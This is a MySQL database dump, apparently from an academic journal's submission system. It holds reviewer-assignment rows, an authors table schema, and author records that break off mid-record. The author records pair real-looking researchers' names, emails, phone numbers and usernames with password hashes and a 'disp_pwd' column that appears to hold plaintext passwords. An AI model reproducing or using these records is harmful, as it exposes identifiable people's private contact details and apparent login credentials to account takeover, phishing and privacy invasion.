days',0),(74554,8786,14546,14579,1788,73,'2024-02-02','7 days',0),(74555,668,14546,14579,1788,73,'2024-02-02','7 days',2),(74556,655,14546,14579,1788,73,'2024-02-02','7 days',0),(74557,632,14546,14579,1788,73,'2024-02-02','7 days',0),(74558,21385,14521,12962,192,45,'2024-02-05','7 days',0),(74559,21386,14521,12962,192,45,'2024-02-05','7 days',0),(74560,21734,14521,12962,192,45,'2024-02-05','7 days',0),(74561,21735,14545,14578,192,45,'2024-02-09','7 days',0),(74562,8784,14496,14542,1788,73,'2024-02-15','7 days',1),(74563,8783,14496,14542,1788,73,'2024-02-15','7 days',0),(74564,656,14496,14542,1788,73,'2024-02-15','7 days',0),(74565,653,14496,14542,1788,73,'2024-02-15','7 days',0),(74566,21736,14579,14596,1315,959,'2024-02-21','7 days',0),(74567,21671,14579,14596,1315,959,'2024-02-21','7 days',0),(74568,21670,14579,14596,1315,959,'2024-02-21','7 days',0),(74569,21408,14656,14671,194,45,'2024-03-12','7 days',0),(74570,21374,14656,14671,194,45,'2024-03-12','7 days',0),(74571,14534,14656,14671,194,45,'2024-03-12','7 days',1),(74572,12532,14656,14671,194,45,'2024-03-12','7 days',1),(74573,12531,14656,14671,194,45,'2024-03-12','7 days',1),(74574,11715,14656,14671,194,45,'2024-03-12','7 days',0),(74575,11714,14656,14671,194,45,'2024-03-12','7 days',1),(74576,10976,14656,14671,194,45,'2024-03-12','7 days',0),(74577,10975,14656,14671,194,45,'2024-03-12','7 days',2),(74578,5467,14656,14671,194,45,'2024-03-12','7 days',1),(74579,1989,14656,14671,194,45,'2024-03-12','7 days',0),(74580,21408,14658,14672,195,45,'2024-03-14','7 days',0),(74581,21374,14658,14672,195,45,'2024-03-14','7 days',0),(74582,14534,14658,14672,195,45,'2024-03-14','7 days',1),(74583,12532,14658,14672,195,45,'2024-03-14','7 days',1),(74584,12531,14658,14672,195,45,'2024-03-14','7 days',1),(74585,11715,14658,14672,195,45,'2024-03-14','7 days',0),(74586,11714,14658,14672,195,45,'2024-03-14','7 days',1),(74587,10976,14658,14672,195,45,'2024-03-14','7 days',0),(74588,10975,14658,14672,195,45,'2024-03-14','7 days',2),(74589,5467,14658,14672,195,45,'2024-03-14','7 days',1),(74590,1989,14658,14672,195,45,'2024-03-14','7 days',0),(74591,18594,14671,14686,195,45,'2024-03-18','7 days',0),(74592,18593,14671,14686,195,45,'2024-03-18','7 days',1),(74593,18592,14671,14686,195,45,'2024-03-18','7 days',1),(74594,11845,14671,14686,195,45,'2024-03-18','7 days',0),(74595,11578,14671,14686,195,45,'2024-03-18','7 days',1),(74596,11577,14671,14686,195,45,'2024-03-18','7 days',0),(74597,11520,14671,14686,195,45,'2024-03-18','7 days',0),(74598,11519,14671,14686,195,45,'2024-03-18','7 days',1),(74599,11300,14671,14686,195,45,'2024-03-18','7 days',0),(74600,21497,14670,14685,195,45,'2024-03-18','7 days',1),(74601,21496,14670,14685,195,45,'2024-03-18','7 days',0),(74602,21495,14670,14685,195,45,'2024-03-18','7 days',0),(74603,21494,14670,14685,195,45,'2024-03-18','7 days',0),(74604,21493,14670,14685,195,45,'2024-03-18','7 days',1),(74605,21492,14670,14685,195,45,'2024-03-18','7 days',0),(74606,21491,14670,14685,195,45,'2024-03-18','7 days',0),(74607,21490,14670,14685,195,45,'2024-03-18','7 days',0),(74608,21489,14670,14685,195,45,'2024-03-18','7 days',0),(74609,21488,14670,14685,195,45,'2024-03-18','7 days',0),(74610,4494,14570,14602,633,639,'2024-03-20','7 days',1),(74611,4487,14570,14602,633,639,'2024-03-20','7 days',0),(74612,4483,14570,14602,633,639,'2024-03-20','7 days',0),(74613,21527,14683,14698,195,45,'2024-03-20','7 days',0),(74614,21526,14683,14698,195,45,'2024-03-20','7 days',0),(74615,21525,14683,14698,195,45,'2024-03-20','7 days',0),(74616,21524,14683,14698,195,45,'2024-03-20','7 days',0),(74617,21523,14683,14698,195,45,'2024-03-20','7 days',0),(74618,21522,14683,14698,195,45,'2024-03-20','7 days',0),(74619,21408,14684,14699,191,45,'2024-03-21','7 days',0),(74620,21374,14684,14699,191,45,'2024-03-21','7 days',2),(74621,14534,14684,14699,191,45,'2024-03-21','7 days',1),(74622,12532,14684,14699,191,45,'2024-03-21','7 days',1),(74623,12531,14684,14699,191,45,'2024-03-21','7 days',1),(74624,11715,14684,14699,191,45,'2024-03-21','7 days',0),(74625,11714,14684,14699,191,45,'2024-03-21','7 days',1),(74626,10976,14684,14699,191,45,'2024-03-21','7 days',0),(74627,10975,14684,14699,191,45,'2024-03-21','7 days',2),(74628,5467,14684,14699,191,45,'2024-03-21','7 days',0),(74629,1989,14684,14699,191,45,'2024-03-21','7 days',0),(74630,21497,14709,14720,194,45,'2024-03-30','7 days',1),(74631,21496,14709,14720,194,45,'2024-03-30','7 days',2),(74632,21495,14709,14720,194,45,'2024-03-30','7 days',0),(74633,21494,14709,14720,194,45,'2024-03-30','7 days',0),(74634,21493,14709,14720,194,45,'2024-03-30','7 days',0),(74635,21492,14709,14720,194,45,'2024-03-30','7 days',0),(74636,21491,14709,14720,194,45,'2024-03-30','7 days',0),(74637,21490,14709,14720,194,45,'2024-03-30','7 days',0),(74638,21489,14709,14720,194,45,'2024-03-30','7 days',0),(74639,21488,14709,14720,194,45,'2024-03-30','7 days',0),(74640,21408,14708,14719,194,45,'2024-03-30','7 days',0),(74641,21374,14708,14719,194,45,'2024-03-30','7 days',0),(74642,14534,14708,14719,194,45,'2024-03-30','7 days',1),(74643,12532,14708,14719,194,45,'2024-03-30','7 days',1),(74644,12531,14708,14719,194,45,'2024-03-30','7 days',1),(74645,11715,14708,14719,194,45,'2024-03-30','7 days',0),(74646,11714,14708,14719,194,45,'2024-03-30','7 days',0),(74647,10976,14708,14719,194,45,'2024-03-30','7 days',0),(74648,10975,14708,14719,194,45,'2024-03-30','7 days',2),(74649,5467,14708,14719,194,45,'2024-03-30','7 days',0),(74650,1989,14708,14719,194,45,'2024-03-30','7 days',0),(74651,21409,14706,14717,195,45,'2024-04-01','7 days',0),(74652,17548,14706,14717,195,45,'2024-04-01','7 days',0),(74653,21677,14706,14717,195,45,'2024-04-01','7 days',1),(74654,21555,14706,14717,195,45,'2024-04-01','7 days',0),(74655,21554,14706,14717,195,45,'2024-04-01','7 days',0),(74656,21553,14706,14717,195,45,'2024-04-01','7 days',0),(74657,21552,14706,14717,195,45,'2024-04-01','7 days',0),(74658,21551,14706,14717,195,45,'2024-04-01','7 days',0),(74659,21550,14706,14717,195,45,'2024-04-01','7 days',1),(74660,21549,14706,14717,195,45,'2024-04-01','7 days',0),(74661,21548,14706,14717,195,45,'2024-04-01','7 days',0),(74662,21543,14706,14717,195,45,'2024-04-01','7 days',0),(74663,21542,14706,14717,195,45,'2024-04-01','7 days',0),(74664,21541,14706,14717,195,45,'2024-04-01','7 days',0),(74665,21540,14706,14717,195,45,'2024-04-01','7 days',0),(74666,21539,14706,14717,195,45,'2024-04-01','7 days',0),(74667,21538,14706,14717,195,45,'2024-04-01','7 days',0),(74668,21537,14706,14717,195,45,'2024-04-01','7 days',0),(74669,21536,14706,14717,195,45,'2024-04-01','7 days',0),(74670,21535,14706,14717,195,45,'2024-04-01','7 days',0),(74671,18594,14711,14721,194,45,'2024-04-01','7 days',0),(74672,18593,14711,14721,194,45,'2024-04-01','7 days',1),(74673,18592,14711,14721,194,45,'2024-04-01','7 days',1),(74674,11845,14711,14721,194,45,'2024-04-01','7 days',0),(74675,11578,14711,14721,194,45,'2024-04-01','7 days',1),(74676,11577,14711,14721,194,45,'2024-04-01','7 days',0),(74677,11520,14711,14721,194,45,'2024-04-01','7 days',0),(74678,11519,14711,14721,194,45,'2024-04-01','7 days',1),(74679,11518,14711,14721,194,45,'2024-04-01','7 days',0),(74680,11350,14711,14721,194,45,'2024-04-01','7 days',0),(74681,11300,14711,14721,194,45,'2024-04-01','7 days',0),(74682,11299,14711,14721,194,45,'2024-04-01','7 days',0),(74683,11298,14711,14721,194,45,'2024-04-01','7 days',0),(74684,9182,14711,14721,194,45,'2024-04-01','7 days',0),(74685,8926,14711,14721,194,45,'2024-04-01','7 days',0),(74686,8925,14711,14721,194,45,'2024-04-01','7 days',0),(74687,8924,14711,14721,194,45,'2024-04-01','7 days',0),(74688,2238,14711,14721,194,45,'2024-04-01','7 days',0),(74689,21378,14712,14722,162,73,'2024-04-02','7 days',0),(74690,21319,14712,14722,162,73,'2024-04-02','7 days',0),(74691,21318,14712,14722,162,73,'2024-04-02','7 days',0),(74692,21317,14712,14722,162,73,'2024-04-02','7 days',0),(74693,21316,14712,14722,162,73,'2024-04-02','7 days',0),(74694,21315,14712,14722,162,73,'2024-04-02','7 days',0),(74695,21314,14712,14722,162,73,'2024-04-02','7 days',2),(74696,21313,14712,14722,162,73,'2024-04-02','7 days',0),(74697,21408,14724,14733,194,45,'2024-04-02','7 days',0),(74698,21374,14724,14733,194,45,'2024-04-02','7 days',0),(74699,14534,14724,14733,194,45,'2024-04-02','7 days',1),(74700,12532,14724,14733,194,45,'2024-04-02','7 days',1),(74701,12531,14724,14733,194,45,'2024-04-02','7 days',1),(74702,11715,14724,14733,194,45,'2024-04-02','7 days',0),(74703,11714,14724,14733,194,45,'2024-04-02','7 days',0),(74704,10976,14724,14733,194,45,'2024-04-02','7 days',0),(74705,10975,14724,14733,194,45,'2024-04-02','7 days',2),(74706,5467,14724,14733,194,45,'2024-04-02','7 days',0),(74707,1989,14724,14733,194,45,'2024-04-02','7 days',0),(74708,9936,14725,14734,359,251,'2024-04-10','7 days',0),(74709,9935,14725,14734,359,251,'2024-04-10','7 days',2),(74710,9934,14725,14734,359,251,'2024-04-10','7 days',0),(74711,9933,14725,14734,359,251,'2024-04-10','7 days',0),(74712,9932,14725,14734,358,251,'2024-04-10','7 days',1),(74713,9011,14712,14722,162,73,'2024-04-11','7 days',0),(74714,648,14712,14722,162,73,'2024-04-11','7 days',1),(74715,664,14712,14722,162,73,'2024-04-11','7 days',0),(74716,663,14712,14722,162,73,'2024-04-11','7 days',0),(74717,658,14712,14722,162,73,'2024-04-11','7 days',0),(74718,21408,14736,14744,194,45,'2024-04-11','7 days',0),(74719,21374,14736,14744,194,45,'2024-04-11','7 days',0),(74720,14534,14736,14744,194,45,'2024-04-11','7 days',1),(74721,12532,14736,14744,194,45,'2024-04-11','7 days',1),(74722,12531,14736,14744,194,45,'2024-04-11','7 days',1),(74723,11715,14736,14744,194,45,'2024-04-11','7 days',0),(74724,11714,14736,14744,194,45,'2024-04-11','7 days',0),(74725,10976,14736,14744,194,45,'2024-04-11','7 days',0),(74726,10975,14736,14744,194,45,'2024-04-11','7 days',0),(74727,5467,14736,14744,194,45,'2024-04-11','7 days',0),(74728,1989,14736,14744,194,45,'2024-04-11','7 days',0),(74729,21735,14741,14749,193,45,'2024-04-15','7 days',0),(74730,18594,14741,14749,193,45,'2024-04-15','7 days',0),(74731,18593,14741,14749,193,45,'2024-04-15','7 days',1),(74732,18592,14741,14749,193,45,'2024-04-15','7 days',0),(74733,11845,14741,14749,193,45,'2024-04-15','7 days',0),(74734,11578,14741,14749,193,45,'2024-04-15','7 days',1),(74735,11577,14741,14749,193,45,'2024-04-15','7 days',0),(74736,11520,14741,14749,193,45,'2024-04-15','7 days',0),(74737,11519,14741,14749,193,45,'2024-04-15','7 days',1),(74738,11518,14741,14749,193,45,'2024-04-15','7 days',0),(74739,11350,14741,14749,193,45,'2024-04-15','7 days',0),(74740,11300,14741,14749,193,45,'2024-04-15','7 days',0),(74741,11299,14741,14749,193,45,'2024-04-15','7 days',0),(74742,11298,14741,14749,193,45,'2024-04-15','7 days',0),(74743,9182,14741,14749,193,45,'2024-04-15','7 days',0),(74744,8926,14741,14749,193,45,'2024-04-15','7 days',0),(74745,8925,14741,14749,193,45,'2024-04-15','7 days',0),(74746,8924,14741,14749,193,45,'2024-04-15','7 days',0),(74747,2238,14741,14749,193,45,'2024-04-15','7 days',0),(74748,17682,14723,4939,1789,277,'2024-04-16','7 days',0),(74749,17681,14723,4939,1789,277,'2024-04-16','7 days',0),(74750,15861,14723,4939,1789,277,'2024-04-16','7 days',0),(74751,15860,14723,4939,1789,277,'2024-04-16','7 days',0),(74752,15859,14723,4939,1789,277,'2024-04-16','7 days',0),(74753,15858,14723,4939,1789,277,'2024-04-16','7 days',0),(74754,15857,14723,4939,1789,277,'2024-04-16','7 days',0),(74755,15856,14723,4939,1789,277,'2024-04-16','7 days',0),(74756,15855,14723,4939,1789,277,'2024-04-16','7 days',0),(74757,15854,14723,4939,1789,277,'2024-04-16','7 days',0),(74758,15746,14723,4939,1789,277,'2024-04-16','7 days',0),(74759,13354,14723,4939,1789,277,'2024-04-16','7 days',0),(74760,12971,14723,4939,1789,277,'2024-04-16','7 days',0),(74761,12027,14723,4939,1789,277,'2024-04-16','7 days',0),(74762,12026,14723,4939,1789,277,'2024-04-16','7 days',0),(74763,12025,14723,4939,1789,277,'2024-04-16','7 days',0),(74764,12024,14723,4939,1789,277,'2024-04-16','7 days',0),(74765,12023,14723,4939,1789,277,'2024-04-16','7 days',0),(74766,12022,14723,4939,1789,277,'2024-04-16','7 days',0),(74767,12021,14723,4939,1789,277,'2024-04-16','7 days',0),(74768,12020,14723,4939,1789,277,'2024-04-16','7 days',0),(74769,12019,14723,4939,1789,277,'2024-04-16','7 days',1),(74770,12018,14723,4939,1789,277,'2024-04-16','7 days',0),(74771,12017,14723,4939,1789,277,'2024-04-16','7 days',0),(74772,11844,14723,4939,1789,277,'2024-04-16','7 days',0),(74773,11659,14723,4939,1789,277,'2024-04-16','7 days',0),(74774,11450,14723,4939,1789,277,'2024-04-16','7 days',2),(74775,11449,14723,4939,1789,277,'2024-04-16','7 days',0),(74776,11448,14723,4939,1789,277,'2024-04-16','7 days',0),(74777,11447,14723,4939,1789,277,'2024-04-16','7 days',0),(74778,11439,14723,4939,1789,277,'2024-04-16','7 days',0),(74779,9911,14723,4939,1789,277,'2024-04-16','7 days',1),(74780,9910,14723,4939,1789,277,'2024-04-16','7 days',0),(74781,9909,14723,4939,1789,277,'2024-04-16','7 days',0),(74782,9908,14723,4939,1789,277,'2024-04-16','7 days',0),(74783,9907,14723,4939,1789,277,'2024-04-16','7 days',0),(74784,9906,14723,4939,1789,277,'2024-04-16','7 days',0),(74785,9905,14723,4939,1789,277,'2024-04-16','7 days',2),(74786,9904,14723,4939,1789,277,'2024-04-16','7 days',0),(74787,9903,14723,4939,1789,277,'2024-04-16','7 days',0),(74788,9902,14723,4939,1789,277,'2024-04-16','7 days',0),(74789,9901,14723,4939,1789,277,'2024-04-16','7 days',0),(74790,9900,14723,4939,1789,277,'2024-04-16','7 days',2),(74791,9899,14723,4939,1789,277,'2024-04-16','7 days',0),(74792,9898,14723,4939,1789,277,'2024-04-16','7 days',0),(74793,9897,14723,4939,1789,277,'2024-04-16','7 days',0),(74794,8590,14723,4939,1789,277,'2024-04-16','7 days',0),(74795,4512,14740,13774,1805,639,'2024-04-26','7 days',1),(74796,4494,14740,13774,1805,639,'2024-04-26','7 days',0),(74797,4487,14740,13774,1805,639,'2024-04-26','7 days',0),(74798,18594,14750,14756,192,45,'2024-04-29','7 days',0),(74799,18593,14750,14756,192,45,'2024-04-29','7 days',1),(74800,18592,14750,14756,192,45,'2024-04-29','7 days',0),(74801,11845,14750,14756,192,45,'2024-04-29','7 days',0),(74802,11578,14750,14756,192,45,'2024-04-29','7 days',1),(74803,11577,14750,14756,192,45,'2024-04-29','7 days',0),(74804,11520,14750,14756,192,45,'2024-04-29','7 days',0),(74805,11519,14750,14756,192,45,'2024-04-29','7 days',1),(74806,11518,14750,14756,192,45,'2024-04-29','7 days',0),(74807,11350,14750,14756,192,45,'2024-04-29','7 days',1),(74808,11300,14750,14756,192,45,'2024-04-29','7 days',0),(74809,11299,14750,14756,192,45,'2024-04-29','7 days',0),(74810,11298,14750,14756,192,45,'2024-04-29','7 days',0),(74811,9182,14750,14756,192,45,'2024-04-29','7 days',0),(74812,8926,14750,14756,192,45,'2024-04-29','7 days',0),(74813,8925,14750,14756,192,45,'2024-04-29','7 days',0),(74814,8924,14750,14756,192,45,'2024-04-29','7 days',0),(74815,2238,14750,14756,192,45,'2024-04-29','7 days',0),(74816,21408,14794,14794,195,45,'2024-05-07','7 days',0),(74817,21374,14794,14794,195,45,'2024-05-07','7 days',0),(74818,14534,14794,14794,195,45,'2024-05-07','7 days',1),(74819,12532,14794,14794,195,45,'2024-05-07','7 days',0),(74820,12531,14794,14794,195,45,'2024-05-07','7 days',1),(74821,11715,14794,14794,195,45,'2024-05-07','7 days',0),(74822,11714,14794,14794,195,45,'2024-05-07','7 days',0),(74823,10976,14794,14794,195,45,'2024-05-07','7 days',0),(74824,10975,14794,14794,195,45,'2024-05-07','7 days',2),(74825,5467,14794,14794,195,45,'2024-05-07','7 days',1),(74826,1989,14794,14794,195,45,'2024-05-07','7 days',0),(74827,21397,14788,11625,195,45,'2024-05-07','7 days',0),(74828,21394,14788,11625,195,45,'2024-05-07','7 days',0),(74829,21393,14788,11625,195,45,'2024-05-07','7 days',0),(74830,21392,14788,11625,195,45,'2024-05-07','7 days',1),(74831,21391,14788,11625,195,45,'2024-05-07','7 days',0),(74832,21390,14788,11625,195,45,'2024-05-07','7 days',0),(74833,18594,14825,14825,192,45,'2024-05-09','7 days',0),(74834,18593,14825,14825,192,45,'2024-05-09','7 days',1),(74835,18592,14825,14825,192,45,'2024-05-09','7 days',0),(74836,11845,14825,14825,192,45,'2024-05-09','7 days',0),(74837,11578,14825,14825,192,45,'2024-05-09','7 days',1),(74838,11577,14825,14825,192,45,'2024-05-09','7 days',0),(74839,11520,14825,14825,192,45,'2024-05-09','7 days',0),(74840,11519,14825,14825,192,45,'2024-05-09','7 days',1),(74841,11518,14825,14825,192,45,'2024-05-09','7 days',0),(74842,11350,14825,14825,192,45,'2024-05-09','7 days',0),(74843,11300,14825,14825,192,45,'2024-05-09','7 days',0),(74844,11299,14825,14825,192,45,'2024-05-09','7 days',0),(74845,11298,14825,14825,192,45,'2024-05-09','7 days',0),(74846,9182,14825,14825,192,45,'2024-05-09','7 days',0),(74847,8926,14825,14825,192,45,'2024-05-09','7 days',0),(74848,8925,14825,14825,192,45,'2024-05-09','7 days',0),(74849,8924,14825,14825,192,45,'2024-05-09','7 days',0),(74850,2238,14825,14825,192,45,'2024-05-09','7 days',0),(74851,18594,14831,14826,192,45,'2024-05-09','7 days',0),(74852,18593,14831,14826,192,45,'2024-05-09','7 days',1),(74853,18592,14831,14826,192,45,'2024-05-09','7 days',0),(74854,11845,14831,14826,192,45,'2024-05-09','7 days',0),(74855,11578,14831,14826,192,45,'2024-05-09','7 days',1),(74856,11577,14831,14826,192,45,'2024-05-09','7 days',0),(74857,11520,14831,14826,192,45,'2024-05-09','7 days',0),(74858,11519,14831,14826,192,45,'2024-05-09','7 days',1),(74859,11518,14831,14826,192,45,'2024-05-09','7 days',0),(74860,11350,14831,14826,192,45,'2024-05-09','7 days',1),(74861,11300,14831,14826,192,45,'2024-05-09','7 days',0),(74862,11299,14831,14826,192,45,'2024-05-09','7 days',0),(74863,11298,14831,14826,192,45,'2024-05-09','7 days',0),(74864,9182,14831,14826,192,45,'2024-05-09','7 days',0),(74865,8926,14831,14826,192,45,'2024-05-09','7 days',0),(74866,8925,14831,14826,192,45,'2024-05-09','7 days',0),(74867,8924,14831,14826,192,45,'2024-05-09','7 days',0),(74868,2238,14831,14826,192,45,'2024-05-09','7 days',0),(74869,21408,14895,14893,194,45,'2024-05-20','7 days',0),(74870,21374,14895,14893,194,45,'2024-05-20','7 days',0),(74871,14534,14895,14893,194,45,'2024-05-20','7 days',1),(74872,12532,14895,14893,194,45,'2024-05-20','7 days',0),(74873,12531,14895,14893,194,45,'2024-05-20','7 days',1),(74874,11715,14895,14893,194,45,'2024-05-20','7 days',0),(74875,11714,14895,14893,194,45,'2024-05-20','7 days',0),(74876,10976,14895,14893,194,45,'2024-05-20','7 days',0),(74877,10975,14895,14893,194,45,'2024-05-20','7 days',2),(74878,5467,14895,14893,194,45,'2024-05-20','7 days',1),(74879,1989,14895,14893,194,45,'2024-05-20','7 days',0),(74880,8795,14894,14892,194,45,'2024-05-20','7 days',0),(74881,1000,14894,14892,194,45,'2024-05-20','7 days',0),(74882,21409,14894,14892,194,45,'2024-05-20','7 days',0),(74883,17548,14894,14892,194,45,'2024-05-20','7 days',0),(74884,21554,14894,14892,194,45,'2024-05-20','7 days',0),(74885,21553,14894,14892,194,45,'2024-05-20','7 days',0),(74886,21552,14894,14892,194,45,'2024-05-20','7 days',0),(74887,21551,14894,14892,194,45,'2024-05-20','7 days',0),(74888,21550,14894,14892,194,45,'2024-05-20','7 days',1),(74889,21549,14894,14892,194,45,'2024-05-20','7 days',0),(74890,21548,14894,14892,194,45,'2024-05-20','7 days',0),(74891,21543,14894,14892,194,45,'2024-05-20','7 days',0),(74892,21542,14894,14892,194,45,'2024-05-20','7 days',0),(74893,21541,14894,14892,194,45,'2024-05-20','7 days',0),(74894,21540,14894,14892,194,45,'2024-05-20','7 days',0);
/*!40000 ALTER TABLE `assigned_reviewers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `authors`
--

DROP TABLE IF EXISTS `authors`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `authors` (
  `a_id` int NOT NULL AUTO_INCREMENT,
  `a_fname` varchar(60) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `a_lname` varchar(40) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `a_email` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `a_alter_email` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `a_phone` varchar(24) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `a_country` int DEFAULT NULL,
  `a_username` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `a_password` varchar(40) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `disp_pwd` varchar(25) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `j_id` int NOT NULL,
  `a_active` int NOT NULL DEFAULT '1',
  `a_photo` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `a_last_login` datetime NOT NULL,
  `login_type` int NOT NULL DEFAULT '1',
  `us_stat` int NOT NULL DEFAULT '1',
  `us_token` varchar(10) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `ip_address` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `ip_cname` varchar(100) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `ip_regname` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `ip_city` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `ip_zip` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  PRIMARY KEY (`a_id`),
  KEY `FK_authors` (`j_id`),
  KEY `index_j_id` (`j_id`)
) ENGINE=InnoDB AUTO_INCREMENT=14901 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `authors`
--

LOCK TABLES `authors` WRITE;
/*!40000 ALTER TABLE `authors` DISABLE KEYS */;
INSERT INTO `authors` VALUES (364,'Ida Katrine Riksaasen','Hatlevik','i.k.r.hatlevik@ils.uio.no','i.k.r.hatlevik@ils.uio.no','4798005256',160,'ida_katrine_riksaasen','cecdfa87f213856253e0533f987c1b5b','2IG5whwU',45,1,'','2019-07-13 12:12:24',1,1,'','','','','','0'),(395,'Gemechu','Ganfure','gemesda7@gmail.com','','',68,'gemechu','fc58d95c0ce3388c2d24dd0cb6a3652e','uLhLimkD',45,1,'','2019-07-15 14:25:26',1,1,'','','','','','0'),(408,'Shemsu','Hagisso','shemsutgi@gmail.com','shemsu@gmail.com','2.51933E+11',68,'shemsu','b7eddcac31405096ab0adee237ab785c','aUa2MyC8',85,1,'','2019-07-16 00:00:00',1,1,'','','','','','0'),(496,'Lichun','Sun','lsun@tulane.edu','','',226,'lichun','b4f04cd8ca2960cc2b2f1c753ca361c1','Ij0M1Ped',45,1,'','2019-07-18 15:23:02',1,1,'EpbmBc','','','','','0'),(498,'Michael','Promise Ogolodom','mpos2007@yahoo.com','','',156,'michael','56b89bd510e57b921f17e55413050ef4','tXlgVpex',45,1,'','2019-07-18 15:29:30',1,1,'Jo5G1s','','','','','0'),(499,'Idiberto','Jose Zotarelli Filho','m.zotarelli@gmail.com','','',30,'idiberto','9e391b5b35653868d7fb31f86d20e155','rCnCET2E',45,1,'','2019-07-18 15:51:11',1,1,'Tm5aXj','','','','','0'),(523,'Tadesse','Nigussie','tadessenigussie21@gmail.com','tadessenigussie@mtu.edu.et','911598639',68,'tadesse','ff0ef7c2e4455a494500d3529ae4483e','Wus4s4vh',45,1,'','2019-07-19 13:18:19',1,1,'','','','','','0'),(524,'Dimitar','Divchev','dimitar.divchev@med.uni-marburg.de','','',80,'dimitar','14a5f2c83c4511c9eb7136f2c8a8823f','P1ax1xRO',86,1,'','2019-07-19 13:52:56',1,1,'dsRLxz','','','','','0'),(617,'Mercy','Chisashi','mercy.zimba@gmail.com','','',238,'mercy','5fc31870df9f7d35a6e9ff21f30042be','T1EncDHs',85,1,'','2019-07-22 17:53:36',1,1,'9EK7ye','','','','','0'),(618,'Lydia','Kapiriri','kapirir@mcmaster.ca','','',38,'lydia','20b1a57d56a784d69967d891752e071b','6c5STXar',85,1,'','2019-07-22 17:57:45',1,1,'m38L6b','','','','','0'),(619,'Adelaida','Gaytos Rosaldo','agrosaldo@up.edu.ph','','',169,'adelaida','ade202318fa4ab35c2752906330eccab','UELYzHeA',85,1,'','2019-07-22 17:58:12',1,1,'dqiOF7','','','','','0'),(629,'Miguel','Vega-Arroyo','miguelveganeurocirujano@hotmail.com','','',226,'miguel','c415a5d284ef7a19281aa8c8fde321af','8fGByyUk',73,1,'','2019-07-23 00:16:18',1,1,'','','','','','0'),(637,'Nashi','Masnad Alreshidi','nmalreshidi@moh.gov.sa','','',187,'nashi','69077739a0a4ac45e26069fcc834e148','R11xsVy9',45,1,'','2019-07-23 10:08:20',1,1,'45UqqA','','','','','0'),(638,'DN','Akunga','nyakungaddn@gmail.com','','',110,'dn','acdf185f68e9618fc5793b240a4b814f','CV8cs0K3',45,1,'','2019-07-23 10:14:37',1,1,'RIp53J','','','','','0'),(656,'Fawkia E.','Zahran','fawkiazahran@yahoo.com','fawkiazahran@yahoo.com','9665883225',187,'fawkia_e.','ae7d910ab8632b9c552268f2d6dd2209','lHUUzc49',45,1,'','2019-07-23 18:34:26',1,1,'','','','','','0'),(702,'Maiko','Hayashida','maiko-s@med.shimane-u.ac.jp','maiko-s@med.shimane-u.ac.jp','8532022',107,'maiko','becb4d2551f32cab3a3065f7359bfcef','uOPrQY9M',73,1,'','2019-07-25 09:13:53',1,1,'','','','','','0'),(718,'Hisashi','Ito','hisashi.ito@tokushukai.jp','','',107,'hisashi','9a61ca72038dffba206f308a0ec662d9','oV69nJBj',73,1,'','2019-07-25 15:38:38',1,1,'XmeUq5','','','','','0'),(737,'Rina','Yadav','ryadav188@marian.edu','','',226,'rina','f3a34cfe05c51b1430677fdcfb03d6a9','8J3hBeAf',73,1,'','2019-07-26 10:49:33',1,1,'ldoPzI','','','','','0'),(738,'Seriki','Samuel A.','seriki.samuel@edouniversity.edu.ng','','',156,'seriki','6b6f7e796109177f03dbc1a381ce7b7b','xkZ3l95o',73,1,'','2019-07-26 10:53:07',1,1,'MRLsDK','','','','','0'),(739,'Qamar','Zaman','qamar_zaman1400@yahoo.com','','',162,'qamar','9420b24af29ee9b95a6c449caeadd8d3','lrLNvJdo',73,1,'','2019-07-26 10:55:23',1,1,'N56oLl','','','','','0'),(740,'Etindele Sosso','Faustin Armel','faustin.armel.etindele.sosso@umontreal.ca','','',38,'etindele_sosso','1d2ef48c39d4ccdb40ce013f9fd425c4','pDeawUV6',73,1,'','2019-07-26 10:58:04',1,1,'uGGLiX','','','','','0'),(788,'Fathima Farveen','Sharaff','ffarveen@yahoo.com','','',224,'fathima_farveen','362d9450ebcd4fb086d56e26d490e50c','s8S2Rj0v',45,1,'','2019-07-27 13:24:53',1,1,'','','','','','0'),(803,'Sameed','Qureshi','sameedqureshi92@gmail.com','crossroad_sam@hotmail.com','9.23349E+11',162,'sameed','a8cf9d0d5fd2f4cb26fec41be3383294','ped7LuM0',86,1,'','2019-07-28 10:58:22',1,1,'','','','','','0'),(808,'Rbab','HajHamed','hababhamed115@gmail.com','','',201,'rbab','2f332eb02ab6f595bbeaccad4dbc3477','nvB5CMTx',45,1,'','2019-07-28 15:40:37',1,1,'','','','','','0'),(809,'Rbab Mohamed','HajHamed','rababco2008@yahoo.com','hababhamed115@gmail.com','2.49912E+11',201,'rbab_mohamed','83d4d83d6c860117d5e4d073e9174c64','6pJWRShV',45,1,'','2019-07-28 16:26:22',1,1,'','','','','','0'),(813,'Kushal','Patel','k89patel@gmail.com','','',99,'kushal','a1c185f5b671d4d716a0821507771578','ER3ZrLaz',86,1,'','2019-07-28 23:01:58',1,1,'','','','','','0'),(870,'Dhruv','Beri','dhruv.beri@psy.christuniversity.in','','',99,'dhruv','69b99fdcf1ba0c956db6dd4043d15c2f','99P7J6v2',73,1,'','2019-07-30 